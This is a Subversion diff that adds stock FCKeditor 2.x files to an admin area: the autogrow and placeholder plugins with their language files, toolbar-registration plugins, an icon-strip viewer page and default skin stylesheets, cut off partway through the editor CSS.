Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/plugins/autogrow/fckplugin.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/plugins/autogrow/fckplugin.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/plugins/autogrow/fckplugin.js	(revision 44)
@@ -0,0 +1,85 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckplugin.js
+ * 	Plugin: automatically resizes the editor until a configurable maximun 
+ * 	height (FCKConfig.AutoGrowMax), based on its contents.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKAutoGrow_Min = window.frameElement.offsetHeight ;
+
+function FCKAutoGrow_Check()
+{
+	var oInnerDoc = FCK.EditorDocument ;
+
+	var iFrameHeight, iInnerHeight ;
+	
+	if ( FCKBrowserInfo.IsIE )
+	{
+		iFrameHeight = FCK.EditorWindow.frameElement.offsetHeight ;
+		iInnerHeight = oInnerDoc.body.scrollHeight ;
+	}
+	else
+	{
+		iFrameHeight = FCK.EditorWindow.innerHeight ;
+		iInnerHeight = oInnerDoc.body.offsetHeight ;
+	}
+
+	var iDiff = iInnerHeight - iFrameHeight ;
+
+	if ( iDiff != 0 )
+	{
+		var iMainFrameSize = window.frameElement.offsetHeight ;
+		
+		if ( iDiff > 0 && iMainFrameSize < FCKConfig.AutoGrowMax )
+		{
+			iMainFrameSize += iDiff ;
+			if ( iMainFrameSize > FCKConfig.AutoGrowMax )
+				iMainFrameSize = FCKConfig.AutoGrowMax ;
+		}
+		else if ( iDiff < 0 && iMainFrameSize > FCKAutoGrow_Min )
+		{
+			iMainFrameSize += iDiff ;
+			if ( iMainFrameSize < FCKAutoGrow_Min )
+				iMainFrameSize = FCKAutoGrow_Min ;
+		}
+		else
+			return ;
+			
+		window.frameElement.height = iMainFrameSize ;
+	}
+}
+
+FCK.AttachToOnSelectionChange( FCKAutoGrow_Check ) ;
+
+function FCKAutoGrow_SetListeners()
+{
+	FCK.EditorWindow.attachEvent( 'onscroll', FCKAutoGrow_Check ) ;
+	FCK.EditorDocument.attachEvent( 'onkeyup', FCKAutoGrow_Check ) ;
+}
+
+if ( FCKBrowserInfo.IsIE )
+{
+//	FCKAutoGrow_SetListeners() ;
+	FCK.Events.AttachEvent( 'OnAfterSetHTML', FCKAutoGrow_SetListeners ) ;
+}
+
+function FCKAutoGrow_CheckEditorStatus( sender, status )
+{
+	if ( status == FCK_STATUS_COMPLETE )
+		FCKAutoGrow_Check() ;
+}
+
+FCK.Events.AttachEvent( 'OnStatusChange', FCKAutoGrow_CheckEditorStatus ) ;
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/plugins/placeholder/fck_placeholder.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/plugins/placeholder/fck_placeholder.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/plugins/placeholder/fck_placeholder.html	(revision 44)
@@ -0,0 +1,96 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_placeholder.html
+ * 	Placeholder Plugin.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<html>
+	<head>
+		<title>Placeholder Properties</title>
+		<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+		<meta content="noindex, nofollow" name="robots">
+		<script language="javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+var FCKLang = oEditor.FCKLang ;
+var FCKPlaceholders = oEditor.FCKPlaceholders ;
+
+window.onload = function ()
+{
+	// First of all, translate the dialog box texts
+	oEditor.FCKLanguageManager.TranslatePage( document ) ;
+	
+	LoadSelected() ;
+	
+	// Show the "Ok" button.
+	window.parent.SetOkButton( true ) ;	
+}
+
+var eSelected = oEditor.FCKSelection.GetSelectedElement() ;
+
+function LoadSelected()
+{
+	if ( !eSelected )
+		return ;
+
+	if ( eSelected.tagName == 'SPAN' && eSelected._fckplaceholder )
+		document.getElementById('txtName').value = eSelected._fckplaceholder ;
+	else
+		eSelected == null ;
+}
+
+function Ok()
+{
+	var sValue = document.getElementById('txtName').value ;
+	
+	if ( eSelected && eSelected._fckplaceholder == sValue )
+		return true ;
+
+	if ( sValue.length == 0 )
+	{
+		alert( FCKLang.PlaceholderErrNoName ) ;
+		return false ;
+	}
+	
+	if ( FCKPlaceholders.Exist( sValue ) )
+	{
+		alert( FCKLang.PlaceholderErrNameInUse ) ;
+		return false ;
+	}
+
+	FCKPlaceholders.Add( sValue ) ;
+	return true ;
+}
+
+		</script>
+	</head>
+	<body scroll="no" style="OVERFLOW: hidden">
+		<table height="100%" cellSpacing="0" cellPadding="0" width="100%" border="0">
+			<tr>
+				<td>
+					<table cellSpacing="0" cellPadding="0" align="center" border="0">
+						<tr>
+							<td>
+								<span fckLang="PlaceholderDlgName">Placeholder Name</span><br>
+								<input id="txtName" type="text">
+							</td>
+						</tr>
+					</table>
+				</td>
+			</tr>
+		</table>
+	</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/plugins/placeholder/fckplugin.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/plugins/placeholder/fckplugin.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/plugins/placeholder/fckplugin.js	(revision 44)
@@ -0,0 +1,175 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckplugin.js
+ * 	Plugin to insert "Placeholders" in the editor.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+// Register the related command.
+FCKCommands.RegisterCommand( 'Placeholder', new FCKDialogCommand( 'Placeholder', FCKLang.PlaceholderDlgTitle, FCKPlugins.Items['placeholder'].Path + 'fck_placeholder.html', 340, 170 ) ) ;
+
+// Create the "Plaholder" toolbar button.
+var oPlaceholderItem = new FCKToolbarButton( 'Placeholder', FCKLang.PlaceholderBtn ) ;
+oPlaceholderItem.IconPath = FCKPlugins.Items['placeholder'].Path + 'placeholder.gif' ;
+
+FCKToolbarItems.RegisterItem( 'Placeholder', oPlaceholderItem ) ;
+
+
+// The object used for all Placeholder operations.
+var FCKPlaceholders = new Object() ;
+
+// Add a new placeholder at the actual selection.
+FCKPlaceholders.Add = function( name )
+{
+	var oSpan = FCK.CreateElement( 'SPAN' ) ;
+	this.SetupSpan( oSpan, name ) ;
+}
+
+FCKPlaceholders.SetupSpan = function( span, name )
+{
+	span.innerHTML = '[[ ' + name + ' ]]' ;
+
+	span.style.backgroundColor = '#ffff00' ;
+	span.style.color = '#000000' ;
+
+	if ( FCKBrowserInfo.IsGecko )
+		span.style.cursor = 'default' ;
+
+	span._fckplaceholder = name ;
+	span.contentEditable = false ;
+
+	// To avoid it to be resized.
+	span.onresizestart = function()
+	{
+		FCK.EditorWindow.event.returnValue = false ;
+		return false ;
+	}
+}
+
+// On Gecko we must do this trick so the user select all the SPAN when clicking on it.
+FCKPlaceholders._SetupClickListener = function()
+{
+	FCKPlaceholders._ClickListener = function( e )
+	{
+		if ( e.target.tagName == 'SPAN' && e.target._fckplaceholder )
+			FCKSelection.SelectNode( e.target ) ;
+	}
+
+	FCK.EditorDocument.addEventListener( 'click', FCKPlaceholders._ClickListener, true ) ;
+}
+
+// Open the Placeholder dialog on double click.
+FCKPlaceholders.OnDoubleClick = function( span )
+{
+	if ( span.tagName == 'SPAN' && span._fckplaceholder )
+		FCKCommands.GetCommand( 'Placeholder' ).Execute() ;
+}
+
+FCK.RegisterDoubleClickHandler( FCKPlaceholders.OnDoubleClick, 'SPAN' ) ;
+
+// Check if a Placholder name is already in use.
+FCKPlaceholders.Exist = function( name )
+{
+	var aSpans = FCK.EditorDocument.getElementsByTagName( 'SPAN' )
+
+	for ( var i = 0 ; i < aSpans.length ; i++ )
+	{
+		if ( aSpans[i]._fckplaceholder == name )
+			return true ;
+	}
+}
+
+if ( FCKBrowserInfo.IsIE )
+{
+	FCKPlaceholders.Redraw = function()
+	{
+		var aPlaholders = FCK.EditorDocument.body.innerText.match( /\[\[[^\[\]]+\]\]/g ) ;
+		if ( !aPlaholders )
+			return ;
+
+		var oRange = FCK.EditorDocument.body.createTextRange() ;
+
+		for ( var i = 0 ; i < aPlaholders.length ; i++ )
+		{
+			if ( oRange.findText( aPlaholders[i] ) )
+			{
+				var sName = aPlaholders[i].match( /\[\[\s*([^\]]*?)\s*\]\]/ )[1] ;
+				oRange.pasteHTML( '<span style="color: #000000; background-color: #ffff00" contenteditable="false" _fckplaceholder="' + sName + '">' + aPlaholders[i] + '</span>' ) ;
+			}
+		}
+	}
+}
+else
+{
+	FCKPlaceholders.Redraw = function()
+	{
+		var oInteractor = FCK.EditorDocument.createTreeWalker( FCK.EditorDocument.body, NodeFilter.SHOW_TEXT, FCKPlaceholders._AcceptNode, true ) ;
+
+		var	aNodes = new Array() ;
+
+		while ( oNode = oInteractor.nextNode() )
+		{
+			aNodes[ aNodes.length ] = oNode ;
+		}
+
+		for ( var n = 0 ; n < aNodes.length ; n++ )
+		{
+			var aPieces = aNodes[n].nodeValue.split( /(\[\[[^\[\]]+\]\])/g ) ;
+
+			for ( var i = 0 ; i < aPieces.length ; i++ )
+			{
+				if ( aPieces[i].length > 0 )
+				{
+					if ( aPieces[i].indexOf( '[[' ) == 0 )
+					{
+						var sName = aPieces[i].match( /\[\[\s*([^\]]*?)\s*\]\]/ )[1] ;
+
+						var oSpan = FCK.EditorDocument.createElement( 'span' ) ;
+						FCKPlaceholders.SetupSpan( oSpan, sName ) ;
+
+						aNodes[n].parentNode.insertBefore( oSpan, aNodes[n] ) ;
+					}
+					else
+						aNodes[n].parentNode.insertBefore( FCK.EditorDocument.createTextNode( aPieces[i] ) , aNodes[n] ) ;
+				}
+			}
+
+			aNodes[n].parentNode.removeChild( aNodes[n] ) ;
+		}
+		
+		FCKPlaceholders._SetupClickListener() ;
+	}
+
+	FCKPlaceholders._AcceptNode = function( node )
+	{
+		if ( /\[\[[^\[\]]+\]\]/.test( node.nodeValue ) )
+			return NodeFilter.FILTER_ACCEPT ;
+		else
+			return NodeFilter.FILTER_SKIP ;
+	}
+}
+
+FCK.Events.AttachEvent( 'OnAfterSetHTML', FCKPlaceholders.Redraw ) ;
+
+// We must process the SPAN tags to replace then with the real resulting value of the placeholder.
+FCKXHtml.TagProcessors['span'] = function( node, htmlNode )
+{
+	if ( htmlNode._fckplaceholder )
+		node = FCKXHtml.XML.createTextNode( '[[' + htmlNode._fckplaceholder + ']]' ) ;
+	else
+		FCKXHtml._AppendChildNodes( node, htmlNode, false ) ;
+
+	return node ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/plugins/placeholder/lang/de.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/plugins/placeholder/lang/de.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/plugins/placeholder/lang/de.js	(revision 44)
@@ -0,0 +1,23 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: de.js
+ * 	Placholder German language file.
+ * 
+ * File Authors:
+ * 		José Fontanil
+ */
+FCKLang.PlaceholderBtn			= 'Einfügen/editieren Platzhalter' ;
+FCKLang.PlaceholderDlgTitle		= 'Platzhalter Eigenschaften' ;
+FCKLang.PlaceholderDlgName		= 'Platzhalter Name' ;
+FCKLang.PlaceholderErrNoName	= 'Bitte den Namen des Platzhalters schreiben' ;
+FCKLang.PlaceholderErrNameInUse	= 'Der angegebene Namen ist schon in Gebrauch' ;
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/plugins/placeholder/lang/en.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/plugins/placeholder/lang/en.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/plugins/placeholder/lang/en.js	(revision 44)
@@ -0,0 +1,23 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: en.js
+ * 	Placholder English language file.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+FCKLang.PlaceholderBtn			= 'Insert/Edit Placeholder' ;
+FCKLang.PlaceholderDlgTitle		= 'Placeholder Properties' ;
+FCKLang.PlaceholderDlgName		= 'Placeholder Name' ;
+FCKLang.PlaceholderErrNoName	= 'Please type the placeholder name' ;
+FCKLang.PlaceholderErrNameInUse	= 'The specified name is already in use' ;
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/plugins/placeholder/lang/fr.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/plugins/placeholder/lang/fr.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/plugins/placeholder/lang/fr.js	(revision 44)
@@ -0,0 +1,23 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fr.js
+ * 	Placholder Italian language file.
+ * 
+ * File Authors:
+ * 		Hubert Garrido (liane@users.sourceforge.net)
+ */
+FCKLang.PlaceholderBtn			= 'Insérer/Modifier Substitut' ;
+FCKLang.PlaceholderDlgTitle		= 'Propriétés de Substitut' ;
+FCKLang.PlaceholderDlgName		= 'Nom de Substitut' ;
+FCKLang.PlaceholderErrNoName	= 'Veuillez saisir le nom de Substitut' ;
+FCKLang.PlaceholderErrNameInUse	= 'Ce nom est déjà utilisé' ;
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/plugins/placeholder/lang/it.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/plugins/placeholder/lang/it.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/plugins/placeholder/lang/it.js	(revision 44)
@@ -0,0 +1,23 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: it.js
+ * 	Placholder Italian language file.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+FCKLang.PlaceholderBtn			= 'Aggiungi/Modifica Placeholder' ;
+FCKLang.PlaceholderDlgTitle		= 'Proprietà del Placeholder' ;
+FCKLang.PlaceholderDlgName		= 'Nome del Placeholder' ;
+FCKLang.PlaceholderErrNoName	= 'Digitare il nome del placeholder' ;
+FCKLang.PlaceholderErrNameInUse	= 'Il nome inserito è già in uso' ;
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/plugins/placeholder/lang/pl.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/plugins/placeholder/lang/pl.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/plugins/placeholder/lang/pl.js	(revision 44)
@@ -0,0 +1,23 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: pl.js
+ * 	Placholder Polish language file.
+ * 
+ * File Authors:
+ * 		Marcin Pietrzak (fck@iworks.pl)
+ */
+FCKLang.PlaceholderBtn			= 'Wstaw/Edytuj nagłówek' ;
+FCKLang.PlaceholderDlgTitle		= 'Właśności nagłówka' ;
+FCKLang.PlaceholderDlgName		= 'Nazwa nagłówka' ;
+FCKLang.PlaceholderErrNoName	= 'Proszę wprowadzić nazwę nagłówka' ;
+FCKLang.PlaceholderErrNameInUse	= 'Podana nazwa jest już w użyciu' ;
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/plugins/simplecommands/fckplugin.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/plugins/simplecommands/fckplugin.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/plugins/simplecommands/fckplugin.js	(revision 44)
@@ -0,0 +1,25 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckplugin.js
+ * 	This plugin register Toolbar items for the combos modifying the style to 
+ * 	not show the box.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+FCKToolbarItems.RegisterItem( 'SourceSimple'	, new FCKToolbarButton( 'Source', FCKLang.Source, null, FCK_TOOLBARITEM_ONLYICON, true, true, 1 ) ) ;
+FCKToolbarItems.RegisterItem( 'StyleSimple'		, new FCKToolbarStyleCombo( null, FCK_TOOLBARITEM_ONLYTEXT ) ) ;
+FCKToolbarItems.RegisterItem( 'FontNameSimple'	, new FCKToolbarFontsCombo( null, FCK_TOOLBARITEM_ONLYTEXT ) ) ;
+FCKToolbarItems.RegisterItem( 'FontSizeSimple'	, new FCKToolbarFontSizeCombo( null, FCK_TOOLBARITEM_ONLYTEXT ) ) ;
+FCKToolbarItems.RegisterItem( 'FontFormatSimple', new FCKToolbarFontFormatCombo( null, FCK_TOOLBARITEM_ONLYTEXT ) ) ;
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/plugins/tablecommands/fckplugin.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/plugins/tablecommands/fckplugin.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/plugins/tablecommands/fckplugin.js	(revision 44)
@@ -0,0 +1,28 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckplugin.js
+ * 	This plugin register the required Toolbar items to be able to insert the
+ * 	toolbar commands in the toolbar.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+FCKToolbarItems.RegisterItem( 'TableInsertRow'		, new FCKToolbarButton( 'TableInsertRow'	, FCKLang.InsertRow, null, null, null, null, 62 ) ) ;
+FCKToolbarItems.RegisterItem( 'TableDeleteRows'		, new FCKToolbarButton( 'TableDeleteRows'	, FCKLang.DeleteRows, null, null, null, null, 63 ) ) ;
+FCKToolbarItems.RegisterItem( 'TableInsertColumn'	, new FCKToolbarButton( 'TableInsertColumn'	, FCKLang.InsertColumn, null, null, null, null, 64 ) ) ;
+FCKToolbarItems.RegisterItem( 'TableDeleteColumns'	, new FCKToolbarButton( 'TableDeleteColumns', FCKLang.DeleteColumns, null, null, null, null, 65 ) ) ;
+FCKToolbarItems.RegisterItem( 'TableInsertCell'		, new FCKToolbarButton( 'TableInsertCell'	, FCKLang.InsertCell, null, null, null, null, 58 ) ) ;
+FCKToolbarItems.RegisterItem( 'TableDeleteCells'	, new FCKToolbarButton( 'TableDeleteCells'	, FCKLang.DeleteCells, null, null, null, null, 59 ) ) ;
+FCKToolbarItems.RegisterItem( 'TableMergeCells'		, new FCKToolbarButton( 'TableMergeCells'	, FCKLang.MergeCells, null, null, null, null, 60 ) ) ;
+FCKToolbarItems.RegisterItem( 'TableSplitCell'		, new FCKToolbarButton( 'TableSplitCell'	, FCKLang.SplitCell, null, null, null, null, 61 ) ) ;
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/skins/_fckviewstrips.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/skins/_fckviewstrips.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/skins/_fckviewstrips.html	(revision 44)
@@ -0,0 +1,118 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: _fckviewstrips.html
+ * 	Useful page that enumerates all icons in the skins strips.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+	<title>FCKeditor - View Icons Strips</title>
+	<style type="text/css">
+		.TB_Button_Image
+		{
+			overflow: hidden;
+			width: 16px;
+			height: 16px;
+			margin: 3px;
+			background-repeat: no-repeat;
+		}
+
+		.TB_Button_Image img
+		{
+			position: relative;
+		}
+	</style>
+	<script type="text/javascript">
+
+window.onload = function()
+{
+	var eImg1 = document.createElement( 'img' ) ;
+	eImg1.onreadystatechange = Img_OnReadyStateChange ;
+	eImg1.src = 'default/fck_strip.gif' ;
+
+	var eImg2 = document.createElement( 'img' ) ;
+	eImg2.onreadystatechange = Img_OnReadyStateChange ;
+	eImg2.src = 'office2003/fck_strip.gif' ;
+
+	var eImg3 = document.createElement( 'img' ) ;
+	eImg3.onreadystatechange = Img_OnReadyStateChange ;
+	eImg3.src = 'silver/fck_strip.gif' ;
+}
+
+var iTotalStrips = 3 ;
+var iMaxHeight = 0 ;
+
+function Img_OnReadyStateChange()
+{
+	if ( this.readyState == 'complete' )
+	{
+		if ( iMaxHeight < this.height )
+			iMaxHeight = this.height ;
+		
+		iTotalStrips-- ;
+		
+		if ( iTotalStrips == 0 )
+			LoadIcons( iMaxHeight / 16 ) ;
+	}
+}
+
+function LoadIcons( total )
+{
+	for ( var i = 0 ; i < total ; i++ )
+	{
+		var eRow = xIconsTable.insertRow(-1) ;
+		
+		var eCell = eRow.insertCell(-1) ;
+		eCell.innerHTML = i + 1 ;
+		
+		eCell = eRow.insertCell(-1) ;
+		eCell.align = 'center' ;
+		eCell.style.border = '#dcdcdc 1px solid' ;
+		eCell.innerHTML = '<div class="TB_Button_Image"><img src="default/fck_strip.gif" style="top=-' + ( i * 16 ) + 'px;"></div>' ;
+
+		eCell = eRow.insertCell(-1) ;
+		eCell.align = 'center' ;
+		eCell.style.border = '#dcdcdc 1px solid' ;
+		eCell.innerHTML = '<div class="TB_Button_Image"><img src="office2003/fck_strip.gif" style="top=-' + ( i * 16 ) + 'px;"></div>' ;
+
+		eCell = eRow.insertCell(-1) ;
+		eCell.align = 'center' ;
+		eCell.style.border = '#dcdcdc 1px solid' ;
+		eCell.innerHTML = '<div class="TB_Button_Image"><img src="silver/fck_strip.gif" style="top=-' + ( i * 16 ) + 'px;"></div>' ;
+	}
+}
+
+	</script>
+</head>
+<body>
+	<table id="xIconsTable">
+		<tr>
+			<td rowspan="2">
+				Index</td>
+			<td align="center" colspan="3">
+				Skins</td>
+		</tr>
+		<tr>
+			<td width="80" align="center">
+				default</td>
+			<td width="80" align="center">
+				office2003</td>
+			<td width="80" align="center">
+				silver</td>
+		</tr>
+	</table>
+</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/skins/default/fck_dialog.css
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/skins/default/fck_dialog.css	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/skins/default/fck_dialog.css	(revision 44)
@@ -0,0 +1,131 @@
+/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_dialog.css
+ * 	Styles used by the dialog boxes.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+body
+{
+	margin: 0px;
+	padding: 10px;
+}
+
+body, td, input, select, textarea
+{
+	font-size: 11px;
+	font-family: 'Microsoft Sans Serif' , Arial, Helvetica, Verdana;
+}
+
+body, .BackColor
+{
+	background-color: #f1f1e3;
+}
+
+.PopupBody
+{
+	margin: 0px;
+	padding: 0px;
+}
+
+.PopupTitle
+{
+	font-weight: bold;
+	font-size: 14pt;
+	color: #737357;
+	background-color: #e3e3c7;
+	padding: 3px 10px 3px 10px;
+}
+
+.PopupButtons
+{
+	border-top: #d5d59d 1px solid;
+	background-color: #e3e3c7;
+	padding: 7px 10px 7px 10px;
+}
+
+.Button
+{
+	border-right: #737357 1px solid;
+	border-top: #737357 1px solid;
+	border-left: #737357 1px solid;
+	color: #3b3b1f;
+	border-bottom: #737357 1px solid;
+	background-color: #c7c78f;
+}
+
+.DarkBackground
+{
+	background-color: #d7d79f;
+}
+
+.LightBackground
+{
+	background-color: #ffffbe;
+}
+
+.PopupTitleBorder
+{
+	border-bottom: #d5d59d 1px solid;
+}
+
+.PopupTabArea
+{
+	color: #737357;
+	background-color: #e3e3c7;
+}
+
+.PopupTabEmptyArea
+{
+	padding-left: 10px ;
+	border-bottom: #d5d59d 1px solid;
+}
+
+.PopupTab, .PopupTabSelected
+{
+	border-right: #d5d59d 1px solid;
+	border-top: #d5d59d 1px solid;
+	border-left: #d5d59d 1px solid;
+	padding-right: 5px;
+	padding-left: 5px;
+	padding-bottom: 3px;
+	padding-top: 3px;
+	color: #737357;
+}
+
+.PopupTab
+{
+	margin-top: 1px;
+	border-bottom: #d5d59d 1px solid;
+	cursor: pointer;
+	cursor: hand;
+}
+
+.PopupTabSelected
+{
+	font-weight:bold;
+	cursor: default;
+	padding-top: 4px;
+	border-bottom: #f1f1e3 1px solid;
+	background-color: #f1f1e3;
+}
+
+.PopupSelectionBox
+{
+	border: #ff9933 1px solid !important;
+	background-color: #fffacd !important;
+	cursor: pointer;
+	cursor: hand;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/skins/default/fck_editor.css
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/skins/default/fck_editor.css	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/skins/default/fck_editor.css	(revision 44)
@@ -0,0 +1,459 @@
+/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_editor.css
+ * 	Styles used by the editor IFRAME and Toolbar.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+/*
+	### Basic Editor IFRAME Styles.
+*/
+
+body
+{
+    padding: 1px 1px 1px 1px;
+    margin: 0px 0px 0px 0px;
+}
+
+#xEditingArea
+{
+    border: #696969 1px solid;
+}
+
+.SourceField
+{
+    padding: 5px;
+    margin: 0px;
+    font-family: Monospace;
+}
+
+/*
+	Toolbar
+*/
+
+.TB_ToolbarSet, .TB_Expand, .TB_Collapse
+{
+    cursor: default;
+    background-color: #efefde;
